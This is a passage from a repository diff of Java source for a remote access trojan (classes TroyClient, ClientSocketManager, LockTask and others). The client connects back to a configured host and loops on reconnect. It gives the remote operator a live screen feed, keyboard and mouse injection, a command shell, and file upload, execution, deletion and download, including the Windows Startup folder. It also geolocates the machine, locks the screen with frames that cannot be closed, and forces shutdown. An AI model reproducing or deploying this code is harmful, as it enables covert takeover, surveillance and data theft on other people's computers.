Object obj = answerTicket(ticket, requestMap.get(ticket));
if (obj != null) { // no answer filter
answerMap.put(ticket, obj);
}
}
if (answerMap.keySet().size() > 0) {
log.debug("answerMap: " + answerMap);
this.oos.getAcquire().writeObject(answerMap);
this.oos.getAcquire().flush();
}
}
stop();
} catch (Exception e) {
this.running = new AtomicBoolean(false);
throw e;
}
}
private Object answerTicket(FunctionTicket ticket, Object o) {
try {
RequestFunction f = ticket.getFunction();
switch (f) {
case NET_INFO:
return getNetInfo();
case DESKTOP_START:
return startDesktop(o, ticket);
case DESKTOP_REFRESH:
return refreshDesktop(o, ticket);
case MONITOR_COUNT:
return getMonitorCount();
case DISCONNECT:
return doDisconnect();
case USER_INPUT:
return doUserInput(o);
case FILES:
return getFiles(o);
case LOCK:
return toggleLock(o);
case STOP:
return getLock();
case TERMINAL_START:
return startTerminal(ticket);
case TERMINAL_COMMAND:
return sendCommand(o);
case CHAT_START:
return startChat(ticket);
case CHAT_MESSAGE:
return sendMessage(o);
case TURN_OFF:
return turnOff();
case RELEASE:
return doRelease(o);
}
} catch (Exception e) {
e.printStackTrace();
this.running.set(false);
}
return null;
}
private Object sendMessage(Object o) {
chatTask.addMessage((String)o);
return null;
}
private Object startChat(FunctionTicket ticket) {
chatTask.setTicket(ticket);
return null;
}
private Object getMonitorCount() {
return GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices().length;
}
private Object turnOff() {
try {
String shutdownCommand;
String t = "now";
if (SystemUtils.IS_OS_AIX)
shutdownCommand = "shutdown -Fh " + t;
else if (SystemUtils.IS_OS_FREE_BSD || SystemUtils.IS_OS_LINUX || SystemUtils.IS_OS_MAC || SystemUtils.IS_OS_MAC_OSX || SystemUtils.IS_OS_NET_BSD || SystemUtils.IS_OS_OPEN_BSD || SystemUtils.IS_OS_UNIX)
shutdownCommand = "shutdown -h " + t;
else if (SystemUtils.IS_OS_HP_UX)
shutdownCommand = "shutdown -hy " + t;
else if (SystemUtils.IS_OS_IRIX)
shutdownCommand = "shutdown -y -g " + t;
else if (SystemUtils.IS_OS_SOLARIS || SystemUtils.IS_OS_SUN_OS)
shutdownCommand = "shutdown -y -i5 -g" + t;
else if (SystemUtils.IS_OS_WINDOWS)
shutdownCommand = "shutdown.exe /s /t 0";
else
return false;
Runtime.getRuntime().exec(shutdownCommand);
} catch (Exception e) {
log.error(e);
}
return null;
}
private Object sendCommand(Object o) {
terminalTask.sendCommand((String) o);
return null;
}
private Object startTerminal(FunctionTicket ticket) {
terminalTask.setTicket(ticket);
return null;
}
private Object doRelease(Object obj) {
FunctionTicket remove = fixedMap.keySet().parallelStream().filter(f -> f.getId().contentEquals((String) obj)).findFirst().get();
fixedMap.remove(remove);
return null;
}
private Object getLock() {
System.exit(0);
return null;
}
private Object toggleLock(Object o) {
Boolean lock = (Boolean) o;
lockTask.setRunning(lock);
return null;
}
private Object getFiles(Object o) {
FileBrowserTicket ticket = (FileBrowserTicket) o;
try {
switch (ticket.getTicketType()) {
case KNOWN_FOLDERS:
ArrayList<FileStruct> list = new ArrayList<>();
Path userFolder = Path.of(SystemUtils.getUserHome().toURI());
list.add(new FileStruct(userFolder.getName(userFolder.getNameCount() - 1).toString(), userFolder.toFile().length(), userFolder.toString(), false, userFolder.toFile().isDirectory()));
Path desktop = Path.of(FileSystemView.getFileSystemView().getHomeDirectory().toURI());
list.add(new FileStruct(desktop.getName(desktop.getNameCount() - 1).toString(), desktop.toFile().length(), desktop.toString(), false, desktop.toFile().isDirectory()));
Path newTemp = Files.createTempDirectory("temp_");
Path temp = newTemp.getParent();
list.add(new FileStruct(temp.getName(temp.getNameCount() - 1).toString(), temp.toFile().length(), temp.toString(), false, temp.toFile().isDirectory()));
list.add(new FileStruct(newTemp.getName(newTemp.getNameCount() - 1).toString(), newTemp.toFile().length(), newTemp.toString(), false, newTemp.toFile().isDirectory()));
if (SystemUtils.IS_OS_WINDOWS) {
//C:\Users\Murilo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
String path = userFolder + File.separator + "AppData" + File.separator + "Roaming"
+ File.separator + "Microsoft" + File.separator + "Windows"
+ File.separator + "Start Menu" + File.separator + "Programs"
+ File.separator + "Startup";
Path startup = Path.of(path);
list.add(new FileStruct(startup.getName(startup.getNameCount() - 1).toString(), startup.toFile().length(), startup.toString(), false, startup.toFile().isDirectory()));
}
return new FileBrowserResponseWrapper(list);
case LOAD_FILES:
ArrayList<FileStruct> loadFiles =
Files.list(Path.of(ticket.getUri()))
.map(p -> new FileStruct(p.getName(p.getNameCount() - 1).toString(), p.toFile().length(), p.toString(), false, p.toFile().isDirectory()))
.collect(Collectors.toCollection(ArrayList::new));
loadFiles = ClientSocketManager.sortForBrowsing(loadFiles);
return new FileBrowserResponseWrapper(loadFiles);
case LOAD_DRIVES:
return Arrays.stream(File.listRoots())
.map(f -> new FileStruct(f.getPath(), f.getTotalSpace(), Path.of(f.toURI()).toString(), true, false))
.sorted().collect(Collectors.toCollection(ArrayList::new));
case UPLOAD:
String path = Path.of(ticket.getUri()).toString() + File.separator + ticket.getFileData().getFileName();
Files.write(Path.of(path), ticket.getFileData().getFileBytes());
return new FileBrowserResponseWrapper();
case RUN:
Desktop.getDesktop().open(Path.of(ticket.getUri()).toFile());
return new FileBrowserResponseWrapper();
case DELETE:
Files.delete(Path.of(ticket.getUri()));
return new FileBrowserResponseWrapper();
case DOWNLOAD:
Path p = Path.of(ticket.getUri());
FileData data = new FileData(Files.readAllBytes(p), p.getName(p.getNameCount() - 1).toString());
return new FileBrowserResponseWrapper(data);
default:
return null;
}
} catch (Exception e) {
log.debug("Error " + ticket.getTicketType() + " : ", e);
return new FileBrowserResponseWrapper(e);
}
}
private static ArrayList<FileStruct> sortForBrowsing(ArrayList<FileStruct> loadFiles) {
ArrayList<ArrayList<FileStruct>> orderedList = new ArrayList<>();
for (FileType t : FileType.values()) {
ArrayList<FileStruct> collect = (ArrayList<FileStruct>) loadFiles.stream()
.sorted()
.filter(f -> f.getFileType().equals(t))
.collect(Collectors.toList());
if (!collect.isEmpty()) {
orderedList.add(collect);
}
}
ArrayList<FileStruct> newList = new ArrayList<>();
orderedList.forEach(newList::addAll);
return newList;
}
private Object doUserInput(Object o) {
ArrayList<UserInput> inputs = (ArrayList<UserInput>) o;
inputs.parallelStream().forEachOrdered(ui -> {
switch (ui.getMode()) {
case KEY_PRESSED -> pressKey(ui.getKey());
case KEY_RELEASED -> releaseKey(ui.getKey());
case CLICK_PRESSED -> desktopTask.pressClick(ui.getX(), ui.getY(), ui.getCode());
case CLICK_RELEASED -> desktopTask.releaseClick(ui.getX(), ui.getY(), ui.getCode());
}
});
return null;
}
private void pressKey(int key) {
try {
bot.keyPress(getKey(key));
} catch (Exception e) {
log.error("Key pressing error. Key skipped. ", e);
}
}
private void releaseKey(int key) {
try {
bot.keyRelease(getKey(key));
} catch (Exception e) {
log.error("Key releasing error. Key skipped. ", e);
}
}
private int getKey(int key) {
int k;
if (extendedKeys.containsKey(key)) {
k = extendedKeys.get(key);
} else {
k = KeyEvent.getExtendedKeyCodeForChar(key);
}
if (k == KeyEvent.VK_UNDEFINED) {
throw new IllegalArgumentException("KeyCode " + key + " does not exist.");
}
return k;
}
private Object doDisconnect() {
try {
socket.close();
} catch (Exception e) {
log.info("Exception closing socket on disconnect request");
}
return null;
}
private Object refreshDesktop(Object o, FunctionTicket ticket) {
desktopTask.setInfo((MonitorDesktopWrapper) o);
return null;
}
private Object startDesktop(Object readObj, FunctionTicket ticket) {
desktopTask.setInfo((MonitorDesktopWrapper) readObj);
desktopTask.setTicket(ticket);
return null;
}
private void stop() {
try {
if (socket != null) {
socket.close();
}
} catch (Exception e) {
System.err.println("Error closing client");
}
}
private NetInfo getNetInfo() throws IOException {
InetAddress inet = InetAddress.getLocalHost();
Request request = new Request.Builder().url("http://ip-api.com/json").build();
Response response = troyClient.getHttpClient().newCall(request).execute();
if (response.code() != 200) {
throw new IOException("Wrong response code: " + response.code());
}
JsonReader reader = Json.createReader(new StringReader(response.body().string()));
JsonObject json = reader.readObject();
return new NetInfo(inet, json);
}
private Socket connect(String hostLink, String port) throws IOException {
Socket socket = new Socket(hostLink, Integer.parseInt(port));
if (!socket.isConnected()) {
throw new IOException("Socket didn't connected in time");
}
log.info("Connection stabilised");
return socket;
}
public void kill() {
this.running.set(false);
// this.stop();
}
public AtomicBoolean getRunning() {
return running;
}
public AtomicReference<ObjectOutputStream> getOos() {
return oos;
}
public ExecutorService getThreadPool() {
return threadPool;
}
public HashMap<FunctionTicket, Object> getFixedMap() {
return fixedMap;
}
}

78
src/main/java/greek/horse/client/ClientTerminalTask.java

@ -0,0 +1,78 @@
package greek.horse.client;
import greek.horse.models.FunctionTicket;
import org.apache.commons.lang3.SystemUtils;
import org.apache.log4j.Logger;
import java.util.HashMap;
import java.util.Scanner;
public class ClientTerminalTask implements Runnable {
private final ClientSocketManager client;
private FunctionTicket ticket;
private Process process;
private static final Logger log = Logger.getLogger(ClientTerminalTask.class);
public ClientTerminalTask(ClientSocketManager clientSocketManager) {
this.client = clientSocketManager;
}
@Override
public void run() {
try {
while (this.client.getRunning().get()) {
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) {
Runtime r = Runtime.getRuntime();
String exec = SystemUtils.IS_OS_WINDOWS ? "cmd /k " : "sh ";
process = r.exec(exec);
sendCommand(SystemUtils.IS_OS_WINDOWS ? "" : "pwd");
Thread thread = new Thread(() -> {
try (Scanner s = new Scanner(process.getInputStream())) {
while (this.client.getRunning().get() && this.client.getFixedMap().containsKey(ticket)) {
String line = s.nextLine();
HashMap<FunctionTicket, Object> answerMap = new HashMap<>();
answerMap.put(this.ticket, line);
client.getOos().getAcquire().writeObject(answerMap);
client.getOos().getAcquire().flush();
}
} catch (Exception e) {
log.error("Error reading terminal output", e);
}
});
thread.start();
while (process.isAlive() && this.client.getRunning().get() && this.client.getFixedMap().containsKey(ticket)){
Thread.sleep(200);
}
thread.interrupt();
}
Thread.sleep(500);
}
} catch (Exception e) {
log.error("Error in terminal task",e);
}
}
public void setTicket(FunctionTicket ticket) {
this.ticket = ticket;
}
public void sendCommand(String command) {
try {
if (process != null) {
process.getOutputStream().write(command.concat("\n").getBytes());
process.getOutputStream().flush();
}
} catch (Exception e) {
log.error("Error sending command to terminal", e);
}
}
}

120
src/main/java/greek/horse/client/LockTask.java

@ -0,0 +1,120 @@
package greek.horse.client;
import javax.swing.*;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.atomic.AtomicBoolean;
public class LockTask implements Runnable {
private final ClientSocketManager father;
private final CopyOnWriteArrayList<JFrame> framesList = new CopyOnWriteArrayList<>();
private final Robot bot;
private final AtomicBoolean selfRunning = new AtomicBoolean(false);
public LockTask(ClientSocketManager father, Robot bot) {
this.father = father;
this.bot = bot;
createFrames();
}
private void createFrames() {
removeListeners();
framesList.forEach(frame -> {
frame.setVisible(false);
});
framesList.clear();
for (GraphicsDevice device : GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices()) {
Rectangle bounds = device.getDefaultConfiguration().getBounds();
JFrame frame = new JFrame("LOCK");
frame.setAlwaysOnTop(true);
frame.setUndecorated(true);
frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
frame.setSize(bounds.getSize());
frame.setLocation(bounds.getLocation());
frame.setVisible(false);
framesList.add(frame);
}
}
@Override
public void run() {
while (father.getRunning().get()) {
if (selfRunning.get()) {
bot.mouseMove(0, 0);
bot.keyPress(KeyEvent.VK_UP);
bot.keyRelease(KeyEvent.VK_UP);
bot.keyPress(KeyEvent.VK_LEFT);
bot.keyRelease(KeyEvent.VK_LEFT);
framesList.forEach(JFrame::toFront);
framesList.forEach(frame -> {
frame.setVisible(true);
});
}
try {
Thread.sleep(selfRunning.get() ? 20 : 200);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public void setRunning(boolean lock) {
if (lock != this.selfRunning.get()) {
if (lock) {
framesList.forEach(frame -> {
frame.addWindowListener(new WindowListener() {
@Override
public void windowOpened(WindowEvent e) {
}
@Override
public void windowClosing(WindowEvent e) {
}
@Override
public void windowClosed(WindowEvent e) {
createFrames();
}
@Override
public void windowIconified(WindowEvent e) {
createFrames();
}
@Override
public void windowDeiconified(WindowEvent e) {
}
@Override
public void windowActivated(WindowEvent e) {
}
@Override
public void windowDeactivated(WindowEvent e) {
}
});
});
} else {
removeListeners();
}
this.selfRunning.set(lock);
framesList.forEach(frame -> {
frame.setVisible(lock);
});
}
}
private void removeListeners() {
framesList.forEach(frame -> {
for (WindowListener wl : frame.getWindowListeners()) {
frame.removeWindowListener(wl);
}
});
}
}

109
src/main/java/greek/horse/client/TroyClient.java

@ -0,0 +1,109 @@
package greek.horse.client;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
import java.util.concurrent.TimeUnit;
public class TroyClient {
private OkHttpClient httpClient;
private String hostLink;
private String port;
private static final Logger log = Logger.getLogger(TroyClient.class);
public static void main(String[] args) throws IOException {
new TroyClient().start();
}
public TroyClient() {
try (InputStream in = TroyClient.class.getResourceAsStream("/connection.data")){
try(Scanner scanner = new Scanner(in)){
this.hostLink = scanner.next();
this.port = scanner.next();
}
} catch (IOException e) {
e.printStackTrace();
}
}
private void start() {
new Thread(() -> {
while (true) {
System.gc();
try {
Thread.sleep(15 * 1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}).start();
while (true) {
try {
ClientSocketManager client = new ClientSocketManager(this);
if (checkInternet()) {
try {
client.getRunning().set(true);
client.run(this.hostLink, this.port);
} catch (Exception e) {
log.error("Client closed, reset started",e);
// if (e.getMessage() != null && e.getMessage().contains("Connection timed out: connect")) {
// System.err.println("Cycling connect");
// } else {
// e.printStackTrace();
// }
client.kill();
sleep(5);
}
} else {
sleep(15);
continue;
}
while (client.getRunning().get()) {
sleep(5);
}
System.gc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
private void sleep(int seconds) {
try {
Thread.sleep(seconds * 1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
public boolean checkInternet() {
httpClient = new OkHttpClient.Builder()
.callTimeout(5, TimeUnit.SECONDS)
.connectTimeout(5, TimeUnit.SECONDS)
.build();
Request request = new Request.Builder().url("http://www.google.com").build();
boolean success = false;
try {
httpClient.newCall(request).execute().close();
success = true;
} catch (IOException ignored) {
}
return success;
}
public OkHttpClient getHttpClient() {
return httpClient;
}
}

33
src/main/java/greek/horse/client/tasks/ChatForm.java

@ -0,0 +1,33 @@
/*
* Created by JFormDesigner on Fri Dec 31 22:40:38 GMT-03:00 2021
*/
package greek.horse.client.tasks;
import java.awt.*;
import javax.swing.*;
/**
* @author unknown
*/
public class ChatForm extends JFrame {
public ChatForm() {
initComponents();
}
private void initComponents() {
// JFormDesigner - Component initialization - DO NOT MODIFY //GEN-BEGIN:initComponents
// Generated using JFormDesigner Evaluation license - unknown
//======== this ========
var contentPane = getContentPane();
contentPane.setLayout(new BorderLayout());
pack();
setLocationRelativeTo(getOwner());
// JFormDesigner - End of component initialization //GEN-END:initComponents
}
// JFormDesigner - Variables declaration - DO NOT MODIFY //GEN-BEGIN:variables
// Generated using JFormDesigner Evaluation license - unknown
// JFormDesigner - End of variables declaration //GEN-END:variables
}

83
src/main/java/greek/horse/client/tasks/ClientChatTask.java

@ -0,0 +1,83 @@
package greek.horse.client.tasks;
import com.formdev.flatlaf.FlatLightLaf;
import greek.horse.client.ChatUI;
import greek.horse.client.ClientSocketManager;
import greek.horse.models.FunctionTicket;
import greek.horse.models.MessageType;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.util.HashMap;
public class ClientChatTask implements Runnable {
private final ClientSocketManager client;
private FunctionTicket ticket;
private final ChatUI frame;
private static final Logger log = Logger.getLogger(ClientChatTask.class);
public ClientChatTask(ClientSocketManager clientSocketManager) {
client = clientSocketManager;
FlatLightLaf.setup();
frame = new ChatUI();
}
@Override
public void run() {
try {
while (this.client.getRunning().get()) {
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) {
frame.setSendListener(e -> {
if (e.getActionCommand().isEmpty()){
return;
}
try {
sendMessage(e.getActionCommand());
} catch (Exception ex) {
log.error("Error sending message", ex);
}
});
frame.setVisible(true);
sendMessage("Connected");
while (this.client.getRunning().get() && this.client.getFixedMap().containsKey(ticket)){
Thread.sleep(200);
}
closeChat();
// } else {
//
}
Thread.sleep(500);
}
// closeChat();
} catch (Exception e) {
log.error(e);
}
}
private void sendMessage(String message) throws IOException {
HashMap<FunctionTicket, Object> answerMap = new HashMap<>();
answerMap.put(ticket, message);
client.getOos().getAcquire().writeObject(answerMap);
client.getOos().getAcquire().flush();
frame.addLine(MessageType.SELF, message, MessageType.CLIENT);
}
private void closeChat() {
frame.setVisible(false);
frame.removeSendListener();
frame.cleanMessages();
}
public void setTicket(FunctionTicket ticket) {
this.ticket = ticket;
}
public void addMessage(String o) {
frame.addLine(MessageType.SERVER_NAME, o, MessageType.SERVER);
}
}

137
src/main/java/greek/horse/client/tasks/DesktopTask.java

@ -0,0 +1,137 @@
package greek.horse.client.tasks;
import greek.horse.client.ClientSocketManager;
import greek.horse.models.FunctionTicket;
import greek.horse.models.ImageUtil;
import greek.horse.models.MonitorDesktopWrapper;
import net.coobird.thumbnailator.Thumbnails;
import org.apache.log4j.Logger;
import org.jetbrains.annotations.NotNull;
import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;
public class DesktopTask implements Runnable {
private final ClientSocketManager client;
private final Robot bot;
private FunctionTicket ticket;
private final AtomicReference<MonitorDesktopWrapper> info = new AtomicReference<>();
private double lastScale;
private static final int interval = 200;
private static final Logger log = Logger.getLogger(DesktopTask.class);
private Rectangle lastRect;
public DesktopTask(ClientSocketManager client, Robot bot) {
this.client = client;
this.bot = bot;
}
@Override
public void run() {
while (client.getRunning().get()) {
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) {
long time = System.currentTimeMillis() + interval;
while (client.getRunning().get() && client.getFixedMap().containsKey(ticket)) {
try {
if (System.currentTimeMillis() < time) {
Thread.sleep(10);
continue;
} else {
time = System.currentTimeMillis() + interval;
}
double w = info.getAcquire().getWidth();
double h = info.getAcquire().getHeight();
boolean greyscale = info.getAcquire().isCompressed();
HashMap<FunctionTicket, Object> answerMap = new HashMap<>();
answerMap.put(ticket, getBytesObject(w, h, greyscale, info.getAcquire().getMonitor()));
client.getOos().getAcquire().writeObject(answerMap);
client.getOos().getAcquire().flush();
} catch (Exception e) {
// e.printStackTrace();
log.error(e);
}
}
}
try {
Thread.sleep(500);
} catch (InterruptedException e) {
log.error(e);
}
}
}
@NotNull
private Object getBytesObject(double W, double H, boolean greyscale, int monitor) throws IOException {
BufferedImage screenCapture = createScreenCapture(monitor);
double w = screenCapture.getWidth();
double h = screenCapture.getHeight();
double x = W / w;
double y = H / h;
lastScale = Math.min(x, y);
BufferedImage bi = Thumbnails.of(screenCapture).forceSize((int) (w * lastScale), (int) (h * lastScale)).asBufferedImage();
if (greyscale) {
bi = ImageUtil.greyIt(bi);
} else {
bi = ImageUtil.reduceIt(bi);
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(bi, "gif", baos);
return baos.toByteArray();
}
private BufferedImage createScreenCapture(int monitor) {
GraphicsDevice[] devices = GraphicsEnvironment
.getLocalGraphicsEnvironment()
.getScreenDevices();
monitor = monitor < devices.length ? monitor : 0;
lastRect = GraphicsEnvironment.getLocalGraphicsEnvironment()
.getScreenDevices()[monitor]
.getDefaultConfiguration()
.getBounds();
return bot.createScreenCapture(lastRect);
}
public void pressClick(int x, int y, int code) {
int a = (int) (x / lastScale);
int b = (int) (y / lastScale);
bot.mouseMove((int) (a + lastRect.getX()), (int) (b + lastRect.getY()));
bot.mousePress(code);
}
public void releaseClick(int x, int y, int code) {
int a = (int) (x / lastScale);
int b = (int) (y / lastScale);
bot.mouseMove((int) (a + lastRect.getX()), (int) (b + lastRect.getY()));
bot.mouseRelease(code);
}
public void setTicket(FunctionTicket ticket) {
this.ticket = ticket;
}
public void setInfo(MonitorDesktopWrapper info) {
this.info.lazySet(info);
}
public double getLastScale() {
return lastScale;
}
}

7
src/main/java/greek/horse/models/BrowserTicketType.java

@ -0,0 +1,7 @@
package greek.horse.models;
import java.io.Serializable;
public enum BrowserTicketType implements Serializable {
LOAD_DRIVES, LOAD_FILES, UPLOAD, DELETE, RUN, DOWNLOAD, KNOWN_FOLDERS
}

57
src/main/java/greek/horse/models/FileBrowserResponseWrapper.java

@ -0,0 +1,57 @@
package greek.horse.models;
import java.io.Serializable;
import java.util.ArrayList;
public class FileBrowserResponseWrapper implements Serializable {
private final boolean error;
private String description = "";
private ArrayList<FileStruct> list;
private FileData fileData;
public FileBrowserResponseWrapper(ArrayList<FileStruct> list){
this.list = list;
this.error = false;
}
public FileBrowserResponseWrapper(FileData fileData) {
this.fileData = fileData;
this.error = false;
}
public FileBrowserResponseWrapper(Exception e) {
this.error = true;
this.description = e.getClass().getSimpleName() + ": " + e.getLocalizedMessage();
}
public FileBrowserResponseWrapper() {
this.error = false;
}
public boolean isError() {
return error;
}
public ArrayList<FileStruct> getList() {
return list;
}
public String getDescription() {
return description;
}
public FileData getFileData() {
return fileData;
}
@Override
public String toString() {
return "FileBrowserResponseWrapper{" +
"error=" + error +
", description='" + description + '\'' +
", list=" + list +
", fileData=" + fileData +
'}';
}
}

72
src/main/java/greek/horse/models/FileBrowserTicket.java

@ -0,0 +1,72 @@
package greek.horse.models;
import java.io.File;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Arrays;
public class FileBrowserTicket implements Serializable {
private ArrayList<String> uri;
private BrowserTicketType ticketType;
private FileData fileData;
public FileBrowserTicket(BrowserTicketType ticketType) {
this.ticketType = ticketType;
}
public FileBrowserTicket(String uri, BrowserTicketType ticketType) {
this.uri = splitUri(uri);
this.ticketType = ticketType;
}
public FileBrowserTicket(String uri, BrowserTicketType ticketType, String fileName, byte[] fileData) {
this.uri = splitUri(uri);
this.ticketType = ticketType;
this.fileData = new FileData(fileData, fileName);
}
private ArrayList<String> splitUri(String uri) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < uri.length(); i++) {
char c = uri.charAt(i);
if (c == File.separatorChar) {
sb.append(";");
} else {
sb.append(c);
}
}
String cmp = sb.toString();
return new ArrayList<>(Arrays.asList(cmp.split(";")));
}
public String getUri() {
StringBuilder sb = new StringBuilder();
if (!this.uri.isEmpty()) {
this.uri.forEach(s -> sb.append(s).append(File.separator));
sb.substring(0, sb.length() - 2);
} else {
sb.append(File.separator);
}
return sb.toString();
}
public BrowserTicketType getTicketType() {
return ticketType;
}
public FileData getFileData() {
return fileData;
}
@Override
public String toString() {
return "FileBrowserTicket{" +
"uri=" + uri +
", ticket=" + ticketType +
", fileData=" + fileData +
'}';
}
}

28
src/main/java/greek/horse/models/FileData.java

@ -0,0 +1,28 @@
package greek.horse.models;
import java.io.Serializable;
public class FileData implements Serializable {
private byte[] fileBytes;
private String fileName;
public FileData(byte[] fileData, String fileName) {
this.fileBytes = fileData;
this.fileName = fileName;
}
public String getFileName() {
return fileName;
}
public byte[] getFileBytes() {
return fileBytes;
}
@Override
public String toString() {
return "FileData{" +
"fileName='" + fileName + '\'' +
'}';
}
}

276
src/main/java/greek/horse/models/FileStruct.java

@ -0,0 +1,276 @@
package greek.horse.models;
import org.jetbrains.annotations.NotNull;
import java.io.Serializable;
import java.util.HashMap;
import java.util.Locale;
public class FileStruct implements Comparable<FileStruct>, Serializable {
private final String path;
private final String name;
private final boolean isDrive;
private final boolean isDir;
private final String size;
private final FileType fileType;
private static final HashMap<String, FileType> extMap = createMap();
public FileStruct(String name, long size, String path, boolean isDrive, boolean isDir) {
this.path = path;
this.name = name;
this.isDrive = isDrive;
this.isDir = isDir;
if (size < Math.pow(10, 3)) {
this.size = (int) (size) + " B";
} else if (size < Math.pow(10, 6)) {
this.size = (int) (size / Math.pow(10, 3)) + " KB";
} else if (size < Math.pow(10, 9)) {
this.size = (int) (size / Math.pow(10, 6)) + " MB";
} else if (size < Math.pow(10, 12)) {
this.size = (int) (size / Math.pow(10, 9)) + " GB";
} else { // TB
this.size = (int) (size / Math.pow(10, 12)) + " TB";
}
this.fileType = createFileType();
}
private FileType createFileType() {
if (this.name.contentEquals("..") || isDir) {
return FileType.DIRECTORY;
} else if (isDrive) {
return FileType.DRIVE;
}
String ext = getExtension(name).toLowerCase(Locale.ROOT);
if (!extMap.containsKey(ext)) {
return FileType.UNKNOWN;
}
return extMap.get(ext);
}
private static HashMap<String, FileType> createMap() {
HashMap<String, FileType> map = new HashMap<>();
map.put("3g2", FileType.VIDEO);
map.put("3gp", FileType.VIDEO);
map.put("aaf", FileType.VIDEO);
map.put("asf", FileType.VIDEO);
map.put("avchd", FileType.VIDEO);
map.put("avi", FileType.VIDEO);
map.put("drc", FileType.VIDEO);
map.put("flv", FileType.VIDEO);
map.put("m2v", FileType.VIDEO);
map.put("m4p", FileType.VIDEO);
map.put("m4v", FileType.VIDEO);
map.put("mkv", FileType.VIDEO);
map.put("mng", FileType.VIDEO);
map.put("mov", FileType.VIDEO);
map.put("mp2", FileType.VIDEO);
map.put("mp4", FileType.VIDEO);
map.put("mpe", FileType.VIDEO);
map.put("mpeg", FileType.VIDEO);
map.put("mpg", FileType.VIDEO);
map.put("mpv", FileType.VIDEO);
map.put("mxf", FileType.VIDEO);
map.put("nsv", FileType.VIDEO);
map.put("ogg", FileType.VIDEO);
map.put("ogv", FileType.VIDEO);
map.put("ogm", FileType.VIDEO);
map.put("qt", FileType.VIDEO);
map.put("rm", FileType.VIDEO);
map.put("rmvb", FileType.VIDEO);
map.put("roq", FileType.VIDEO);
map.put("srt", FileType.VIDEO);
map.put("svi", FileType.VIDEO);
map.put("vob", FileType.VIDEO);
map.put("webm", FileType.VIDEO);
map.put("wmv", FileType.VIDEO);
map.put("yuv", FileType.VIDEO);
map.put("exe", FileType.EXECUTABLE);
map.put("msi", FileType.EXECUTABLE);
map.put("bin", FileType.EXECUTABLE);
map.put("command", FileType.EXECUTABLE);
map.put("sh", FileType.EXECUTABLE);
map.put("bat", FileType.EXECUTABLE);
map.put("crx", FileType.EXECUTABLE);
map.put("aac", FileType.AUDIO);
map.put("aiff", FileType.AUDIO);
map.put("ape", FileType.AUDIO);
map.put("au", FileType.AUDIO);
map.put("flac", FileType.AUDIO);
map.put("gsm", FileType.AUDIO);
map.put("it", FileType.AUDIO);
map.put("m3u", FileType.AUDIO);
map.put("m4a", FileType.AUDIO);
map.put("mid", FileType.AUDIO);
map.put("mod", FileType.AUDIO);
map.put("mp3", FileType.AUDIO);
map.put("mpa", FileType.AUDIO);
map.put("pls", FileType.AUDIO);
map.put("ra", FileType.AUDIO);
map.put("s3m", FileType.AUDIO);
map.put("sid", FileType.AUDIO);
map.put("wav", FileType.AUDIO);
map.put("wma", FileType.AUDIO);
map.put("xm", FileType.AUDIO);
map.put("eot", FileType.FONT);
map.put("otf", FileType.FONT);
map.put("ttf", FileType.FONT);
map.put("woff", FileType.FONT);
map.put("woff2", FileType.FONT);
map.put("3dm", FileType.IMAGE);
map.put("3ds", FileType.IMAGE);
map.put("max", FileType.IMAGE);
map.put("bmp", FileType.IMAGE);
map.put("dds", FileType.IMAGE);
map.put("gif", FileType.IMAGE);
map.put("jpg", FileType.IMAGE);
map.put("jpeg", FileType.IMAGE);
map.put("png", FileType.IMAGE);
map.put("psd", FileType.IMAGE);
map.put("xcf", FileType.IMAGE);
map.put("tga", FileType.IMAGE);
map.put("thm", FileType.IMAGE);
map.put("tif", FileType.IMAGE);
map.put("tiff", FileType.IMAGE);
map.put("ai", FileType.IMAGE);
map.put("eps", FileType.IMAGE);
map.put("ps", FileType.IMAGE);
map.put("svg", FileType.IMAGE);
map.put("dwg", FileType.IMAGE);
map.put("dxf", FileType.IMAGE);
map.put("gpx", FileType.IMAGE);
map.put("kml", FileType.IMAGE);
map.put("kmz", FileType.IMAGE);
map.put("webp", FileType.IMAGE);
map.put("doc", FileType.TEXT);
map.put("docx", FileType.TEXT);
map.put("ebook", FileType.TEXT);
map.put("log", FileType.TEXT);
map.put("md", FileType.TEXT);
map.put("msg", FileType.TEXT);
map.put("odt", FileType.TEXT);
map.put("org", FileType.TEXT);
map.put("pages", FileType.TEXT);
map.put("pdf", FileType.TEXT);
map.put("rtf", FileType.TEXT);
map.put("rst", FileType.TEXT);
map.put("tex", FileType.TEXT);
map.put("txt", FileType.TEXT);
map.put("wpd", FileType.TEXT);
map.put("wps", FileType.TEXT);
map.put("7z", FileType.ZIP);
map.put("a", FileType.ZIP);
map.put("ar", FileType.ZIP);
map.put("bz2", FileType.ZIP);
map.put("cab", FileType.ZIP);
map.put("cpio", FileType.ZIP);
map.put("deb", FileType.ZIP);
map.put("dmg", FileType.ZIP);
map.put("egg", FileType.ZIP);
map.put("gz", FileType.ZIP);
map.put("iso", FileType.ZIP);
map.put("jar", FileType.ZIP);
map.put("lha", FileType.ZIP);
map.put("mar", FileType.ZIP);
map.put("pea", FileType.ZIP);
map.put("rar", FileType.ZIP);
map.put("rpm", FileType.ZIP);
map.put("s7z", FileType.ZIP);
map.put("shar", FileType.ZIP);
map.put("tar", FileType.ZIP);
map.put("tbz2", FileType.ZIP);
map.put("tgz", FileType.ZIP);
map.put("tlz", FileType.ZIP);
map.put("war", FileType.ZIP);
map.put("whl", FileType.ZIP);
